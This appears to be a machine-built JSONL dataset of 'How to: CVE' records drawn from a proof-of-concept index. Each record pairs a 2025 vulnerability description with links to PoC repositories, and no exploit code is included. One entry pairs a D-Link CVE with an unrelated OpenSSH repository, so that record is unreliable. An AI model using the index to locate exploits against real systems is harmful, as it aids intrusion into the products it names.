{"id": "gh_ecd1c6ee54f5", "question": "How to: CVE-2025-51006 (2025-09-22)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nWithin tcpreplay's tcprewrite, a double free vulnerability has been identified in the dlt_linuxsll2_cleanup() function in plugins/dlt_linuxsll2/linuxsll2.c. This vulnerability is triggered when tcpedit_dlt_cleanup() indirectly invokes the cleanup routine multiple times on the same memory region. By supplying a specifically crafted pcap file to the tcprewrite binary, a local attacker can exploit this flaw to cause a Denial of Service (DoS) via memory corruption.\n```\n- [sy460129/CVE-2025-51006](https://github.com/sy460129/CVE-2025-51006)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156793"}
{"id": "gh_b7381fdcc8bc", "question": "How to: CVE-2025-51040 (2025-08-06)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nElectrolink FM/DAB/TV Transmitter Web Management System Unauthorized access vulnerability via the /FrameSetCore.html endpoint in Electrolink 500W, 1kW, 2kW Medium DAB Transmitter Web v01.09, v01.08, v01.07, and Display v1.4, v1.2.\n```\n- [p0et08/Electrolink-FM-DAB-TV](https://github.com/p0et08/Electrolink-FM-DAB-TV)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156798"}
{"id": "gh_7ff46ba23830", "question": "How to: CVE-2025-51046", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "- [0xMesh-X/CVE-2025-51046](https://github.com/0xMesh-X/CVE-2025-51046)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156801"}
{"id": "gh_08ab42bb8cb9", "question": "How to: CVE-2025-51385 (2025-07-31)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nD-LINK DI-8200 16.07.26A1 is vulnerable to Buffer Overflow in the yyxz_dlink_asp function via the id parameter.\n```\n- [saarcastified/CVE-2023-51385---OpenSSH-ProxyCommand-Injection-PoC](https://github.com/saarcastified/CVE-2023-51385---OpenSSH-ProxyCommand-Injection-PoC)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156806"}
{"id": "gh_22b3130690b5", "question": "How to: CVE-2025-51396 (2025-07-21)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA stored cross-site scripting (XSS) vulnerability in Live Helper Chat v4.60 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into the Telegram Bot Username parameter.\n```\n- [Thewhiteevil/CVE-2025-51396](https://github.com/Thewhiteevil/CVE-2025-51396)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156810"}
{"id": "gh_8f6298475040", "question": "How to: CVE-2025-51397 (2025-07-21)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA stored cross-site scripting (XSS) vulnerability in the Facebook Chat module of Live Helper Chat v4.60 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into the Surname parameter under the Recipient' Lists.\n```\n- [Thewhiteevil/CVE-2025-51397](https://github.com/Thewhiteevil/CVE-2025-51397)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156814"}
{"id": "gh_f07f60c80199", "question": "How to: CVE-2025-51398 (2025-07-21)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA stored cross-site scripting (XSS) vulnerability in the Facebook registration page of Live Helper Chat v4.60 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into the Name parameter.\n```\n- [Thewhiteevil/CVE-2025-51398](https://github.com/Thewhiteevil/CVE-2025-51398)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156818"}
{"id": "gh_68dc126da371", "question": "How to: CVE-2025-51400 (2025-07-21)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA stored cross-site scripting (XSS) vulnerability in the Personal Canned Messages of Live Helper Chat v4.60 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload.\n```\n- [Thewhiteevil/CVE-2025-51400](https://github.com/Thewhiteevil/CVE-2025-51400)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156823"}
{"id": "gh_ae04fa7829c6", "question": "How to: CVE-2025-51401 (2025-07-21)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA stored cross-site scripting (XSS) vulnerability in the chat transfer function of Live Helper Chat v4.60 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into the operator name parameter.\n```\n- [Thewhiteevil/CVE-2025-51401](https://github.com/Thewhiteevil/CVE-2025-51401)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156827"}
{"id": "gh_6c2b1a11f55a", "question": "How to: CVE-2025-51403 (2025-07-21)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA stored cross-site scripting (XSS) vulnerability in the department assignment editing module of of Live Helper Chat v4.60 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into the Alias Nick parameter.\n```\n- [Thewhiteevil/CVE-2025-51403](https://github.com/Thewhiteevil/CVE-2025-51403)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156833"}
{"id": "gh_8ef9c0fc60fc", "question": "How to: CVE-2025-51411 (2025-07-25)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA reflected cross-site scripting (XSS) vulnerability exists in Institute-of-Current-Students v1.0 via the email parameter in the /postquerypublic endpoint. The application fails to properly sanitize user input before reflecting it in the HTML response. This allows unauthenticated attackers to inject and execute arbitrary JavaScript code in the context of the victim's browser by tricking them into visiting a crafted URL or submitting a malicious form. Successful exploitation may lead to session hijacking, credential theft, or other client-side attacks.\n```\n- [tansique-17/CVE-2025-51411](https://github.com/tansique-17/CVE-2025-51411)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156838"}
{"id": "gh_2e7fb3d85878", "question": "How to: CVE-2025-51471 (2025-07-22)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nCross-Domain Token Exposure in server.auth.getAuthorizationToken in Ollama 0.6.7 allows remote attackers to steal authentication tokens and bypass access controls via a malicious realm value in a WWW-Authenticate header returned by the /api/pull endpoint.\n```\n- [ajtazer/CVE-2025-51471-POC](https://github.com/ajtazer/CVE-2025-51471-POC)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156843"}
{"id": "gh_2c0c0bd4e455", "question": "How to: CVE-2025-51482 (2025-07-22)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nRemote Code Execution in letta.server.rest_api.routers.v1.tools.run_tool_from_source in letta-ai Letta 0.7.12 allows remote attackers to execute arbitrary Python code and system commands via crafted payloads to the /v1/tools/run endpoint, bypassing intended sandbox restrictions.\n```\n- [Kai-One001/Letta-CVE-2025-51482-RCE](https://github.com/Kai-One001/Letta-CVE-2025-51482-RCE)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156847"}
{"id": "gh_f32491ee43f7", "question": "How to: CVE-2025-51495 (2025-09-29)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nAn integer overflow vulnerability exists in the WebSocket component of Mongoose 7.5 thru 7.17. By sending a specially crafted WebSocket request, an attacker can cause the application to crash. If downstream vendors integrate this component improperly, the issue may lead to a buffer overflow.\n```\n- [cainiao159357/CVE-2025-51495](https://github.com/cainiao159357/CVE-2025-51495)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156851"}
{"id": "gh_96c125caae89", "question": "How to: CVE-2025-51529 (2025-08-19)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nIncorrect Access Control in the AJAX endpoint functionality in jonkastonka Cookies and Content Security Policy plugin through version 2.29 allows remote attackers to cause a denial of service (database server resource exhaustion) via unlimited database write operations to the wp_ajax_nopriv_cacsp_insert_consent_data endpoint.\n```\n- [piotrmaciejbednarski/CVE-2025-51529](https://github.com/piotrmaciejbednarski/CVE-2025-51529)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156858"}
{"id": "gh_79cc35e61a02", "question": "How to: CVE-2025-51591 (2025-07-11)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA Server-Side Request Forgery (SSRF) in JGM Pandoc v3.6.4 allows attackers to gain access to and compromise the whole infrastructure via injecting a crafted iframe. Note: Some users have stated that Pandoc by default can retrieve and parse untrusted HTML content which can enable SSRF vulnerabilities. Using the ‘--sandbox’ option or ‘pandoc-server’ can mitigate such vulnerabilities. Using pandoc with an external ‘--pdf-engine’ can also enable SSRF vulnerabilities, such as CVE-2022-35583 in wkhtmltopdf.\n```\n- [Malayke/CVE-2025-51591-Pandoc-SSRF-POC](https://github.com/Malayke/CVE-2025-51591-Pandoc-SSRF-POC)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156864"}
{"id": "gh_cd8324bc6bbe", "question": "How to: CVE-2025-51643 (2025-08-28)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nMeitrack T366G-L GPS Tracker devices contain an SPI flash chip (Winbond 25Q64JVSIQ) that is accessible without authentication or tamper protection. An attacker with physical access to the device can use a standard SPI programmer to extract the firmware using flashrom. This results in exposure of sensitive configuration data such as APN credentials, backend server information, and network parameter\n```\n- [NastyCrow/CVE-2025-51643](https://github.com/NastyCrow/CVE-2025-51643)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156870"}
{"id": "gh_964c73da368b", "question": "How to: CVE-2025-51726 (2025-08-04)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nCyberGhostVPNSetup.exe (Windows installer) is signed using the weak cryptographic hash algorithm SHA-1, which is vulnerable to collision attacks. This allows a malicious actor to craft a fake installer with a forged SHA-1 certificate that may still be accepted by Windows signature verification mechanisms, particularly on systems without strict SmartScreen or trust policy enforcement. Additionally, the installer lacks High Entropy Address Space Layout Randomization (ASLR), as confirmed by BinSkim (BA2015 rule) and repeated WinDbg analysis. The binary consistently loads into predictable memory ranges, increasing the success rate of memory corruption exploits. These two misconfigurations, when combined, significantly lower the bar for successful supply-chain style attacks or privilege escalation through fake installers.\n```\n- [meisterlos/CVE-2025-51726](https://github.com/meisterlos/CVE-2025-51726)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156876"}
{"id": "gh_79166510e8fd", "question": "How to: CVE-2025-51820", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "- [shk-mubashshir/CVE-2025-51820](https://github.com/shk-mubashshir/CVE-2025-51820)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156880"}
{"id": "gh_ff8b63d0dd76", "question": "How to: CVE-2025-51858 (2025-07-22)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nSelf Cross-Site Scripting (XSS) vulnerability in ChatPlayground.ai through 2025-05-24, allows attackers to execute arbitrary code and gain sensitive information via a crafted SVG file contents sent through the chat component.\n```\n- [Secsys-FDU/CVE-2025-51858](https://github.com/Secsys-FDU/CVE-2025-51858)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156884"}
{"id": "gh_0b9bbb12d4f9", "question": "How to: CVE-2025-51859 (2025-07-22)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nStored Cross-Site Scripting (XSS) vulnerability in Chaindesk thru 2025-05-26 in its agent chat component. An attacker can achieve arbitrary client-side script execution by crafting an AI agent whose system prompt instructs the underlying Large Language Model (LLM) to embed malicious script payloads (e.g., SVG-based XSS) into its chat responses. When a user interacts with such a malicious agent or accesses a direct link to a conversation containing an XSS payload, the script executes in the user's browser. Successful exploitation can lead to the theft of sensitive information, such as JWT session tokens, potentially resulting in account hijacking.\n```\n- [Secsys-FDU/CVE-2025-51859](https://github.com/Secsys-FDU/CVE-2025-51859)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156889"}
{"id": "gh_fef75cdf278b", "question": "How to: CVE-2025-51860 (2025-07-22)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nStored Cross-Site Scripting (XSS) in TelegAI (telegai.com) 2025-05-26 in its chat component and character container component. An attacker can achieve arbitrary client-side script execution by crafting an AI Character with SVG XSS payloads in either description, greeting, example dialog, or system prompt(instructing the LLM to embed XSS payload in its chat response). When a user interacts with such a malicious AI Character or just browse its profile, the script executes in the user's browser. Successful exploitation can lead to the theft of sensitive information, such as session tokens, potentially resulting in account hijacking.\n```\n- [Secsys-FDU/CVE-2025-51860](https://github.com/Secsys-FDU/CVE-2025-51860)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156894"}
{"id": "gh_9624ba24a23d", "question": "How to: CVE-2025-51862 (2025-07-22)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nInsecure Direct Object Reference (IDOR) vulnerability in TelegAI (telegai.com) thru 2025-05-26 in its chat component. An attacker can exploit this IDOR to tamper other users' conversation. Additionally, malicious contents and XSS payloads can be injected, leading to phishing attack, user spoofing and account hijacking via XSS.\n```\n- [Secsys-FDU/CVE-2025-51862](https://github.com/Secsys-FDU/CVE-2025-51862)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156898"}
{"id": "gh_017c6750603e", "question": "How to: CVE-2025-51863 (2025-07-22)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nSelf Cross Site Scripting (XSS) vulnerability in ChatGPT Unli (ChatGPTUnli.com) thru 2025-05-26 allows attackers to execute arbitrary code via a crafted SVG file to the chat interface.\n```\n- [Secsys-FDU/CVE-2025-51863](https://github.com/Secsys-FDU/CVE-2025-51863)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156903"}
{"id": "gh_ef272d0d55cd", "question": "How to: CVE-2025-51864 (2025-07-22)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA reflected cross-site scripting (XSS) vulnerability exists in AIBOX LLM chat (chat.aibox365.cn) through 2025-05-27, allowing attackers to hijack accounts through stolen JWT tokens.\n```\n- [Secsys-FDU/CVE-2025-51864](https://github.com/Secsys-FDU/CVE-2025-51864)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156907"}
{"id": "gh_5a3b7a98f9ec", "question": "How to: CVE-2025-51865 (2025-07-22)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nAi2 playground web service (playground.allenai.org) LLM chat through 2025-06-03 is vulnerable to Insecure Direct Object Reference (IDOR), allowing attackers to gain sensitvie information via enumerating thread keys in the URL.\n```\n- [Secsys-FDU/CVE-2025-51865](https://github.com/Secsys-FDU/CVE-2025-51865)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156913"}
{"id": "gh_59298dc64f8e", "question": "How to: CVE-2025-51867 (2025-07-22)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nInsecure Direct Object Reference (IDOR) vulnerability in Deepfiction AI (deepfiction.ai) thru June 3, 2025, allowing attackers to chat with the LLM using other users' credits via sensitive information gained by the /browse/stories endpoint.\n```\n- [Secsys-FDU/CVE-2025-51867](https://github.com/Secsys-FDU/CVE-2025-51867)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156919"}
{"id": "gh_b37d33da46ca", "question": "How to: CVE-2025-51868 (2025-07-21)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nInsecure Direct Object Reference (IDOR) vulnerability in Dippy (chat.dippy.ai) v2 allows attackers to gain sensitive information via the conversation_id parameter to the conversation_history endpoint.\n```\n- [Secsys-FDU/CVE-2025-51868](https://github.com/Secsys-FDU/CVE-2025-51868)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156923"}
{"id": "gh_f0818e59d7e4", "question": "How to: CVE-2025-51869 (2025-07-21)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nInsecure Direct Object Reference (IDOR) vulnerability in Liner thru 2025-06-03 allows attackers to gain sensitive information via crafted space_id, thread_id, and message_id parameters to the v1/space/{space_id}/thread/{thread_id}/message/{message_id} endpoint.\n```\n- [Secsys-FDU/CVE-2025-51869](https://github.com/Secsys-FDU/CVE-2025-51869)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156927"}
{"id": "gh_cc353a31ee6b", "question": "How to: CVE-2025-51970 (2025-07-29)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA SQL Injection vulnerability exists in the action.php endpoint of PuneethReddyHC Online Shopping System Advanced 1.0 due to improper sanitization of user-supplied input in the keyword POST parameter.\n```\n- [M4xIq/CVE-2025-51970](https://github.com/M4xIq/CVE-2025-51970)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156932"}
{"id": "gh_9f489a830889", "question": "How to: CVE-2025-52078 (2025-08-05)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nFile upload vulnerability in Writebot AI Content Generator SaaS React Template thru 4.0.0, allowing remote attackers to gain escalated privileges via a crafted POST request to the /file-upload endpoint.\n```\n- [Yucaerin/CVE-2025-52078](https://github.com/Yucaerin/CVE-2025-52078)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156936"}
{"id": "gh_bb72e30f877b", "question": "How to: CVE-2025-52097", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "- [rwilsonecs/CVE-2025-52097](https://github.com/rwilsonecs/CVE-2025-52097)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156940"}
{"id": "gh_6094234524ae", "question": "How to: CVE-2025-52100", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "- [changyaoyou/CVE-2025-52100](https://github.com/changyaoyou/CVE-2025-52100)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156944"}
{"id": "gh_456603a96789", "question": "How to: CVE-2025-52122 (2025-08-27)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nFreeform 5.0.0 to before 5.10.16, a plugin for CraftCMS, contains an Server-side template injection (SSTI) vulnerability, resulting in arbitrary code injection for all users that have access to editing a form (submission title).\n```\n- [TimTrademark/CVE-2025-52122](https://github.com/TimTrademark/CVE-2025-52122)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156948"}
{"id": "gh_3bd8839b1821", "question": "How to: CVE-2025-52216", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "- [Arbatinis1/coolermaster-masterctrl-vuln](https://github.com/Arbatinis1/coolermaster-masterctrl-vuln)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156952"}
{"id": "gh_b474da6a0b46", "question": "How to: CVE-2025-52289 (2025-07-31)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA Broken Access Control vulnerability in MagnusBilling v7.8.5.3 allows newly registered users to gain escalated privileges by sending a crafted request to /mbilling/index.php/user/save to set their account status fom \"pending\" to \"active\" without requiring administrator approval.\n```\n- [Whit3-d3viL-hacker/CVE-2025-52289](https://github.com/Whit3-d3viL-hacker/CVE-2025-52289)\n- [Madhav-Bhardwaj/CVE-2025-52289](https://github.com/Madhav-Bhardwaj/CVE-2025-52289)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156956"}
{"id": "gh_1bcc7d9d73df", "question": "How to: CVE-2025-52357 (2025-07-09)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nCross-Site Scripting (XSS) vulnerability exists in the ping diagnostic feature of FiberHome FD602GW-DX-R410 router (firmware V2.2.14), allowing an authenticated attacker to execute arbitrary JavaScript code in the context of the router s web interface. The vulnerability is triggered via user-supplied input in the ping form field, which fails to sanitize special characters. This can be exploited to hijack sessions or escalate privileges through social engineering or browser-based attacks.\n```\n- [wrathfulDiety/CVE-2025-52357](https://github.com/wrathfulDiety/CVE-2025-52357)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156963"}
{"id": "gh_6608d802dbc7", "question": "How to: CVE-2025-52385 (2025-08-13)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nAn issue in Studio 3T v.2025.1.0 and before allows a remote attacker to execute arbitrary code via a crafted payload to the child_process module\n```\n- [Kov404/CVE-2025-52385](https://github.com/Kov404/CVE-2025-52385)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156967"}
{"id": "gh_677adb83df30", "question": "How to: CVE-2025-52389 (2025-09-08)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nAn Insecure Direct Object Reference (IDOR) in Envasadora H2O Eireli - Soda Cristal v40.20.4 allows authenticated attackers to access sensitive data for other users via a crafted HTTP request.\n```\n- [milamrk/CVE-2025-52389](https://github.com/milamrk/CVE-2025-52389)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156972"}
{"id": "gh_a289a78f747d", "question": "How to: CVE-2025-52392 (2025-08-13)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nSoosyze CMS 2.0 allows brute-force login attacks via the /user/login endpoint due to missing rate-limiting and lockout mechanisms. An attacker can repeatedly submit login attempts without restrictions, potentially gaining unauthorized administrative access. This vulnerability corresponds to CWE-307: Improper Restriction of Excessive Authentication Attempts.\n```\n- [ftz7/Soosyze-CMS-2.0---CVE-2025-52392](https://github.com/ftz7/Soosyze-CMS-2.0---CVE-2025-52392)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156976"}
{"id": "gh_c2e5fe3128f0", "question": "How to: CVE-2025-52399", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "- [Userr404/CVE-2025-52399-SQLi-Institute-of-Current-Students](https://github.com/Userr404/CVE-2025-52399-SQLi-Institute-of-Current-Students)\n- [gmh5225/CVE-2025-52399-SQLi-Institute-of-Current-Students](https://github.com/gmh5225/CVE-2025-52399-SQLi-Institute-of-Current-Students)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156980"}
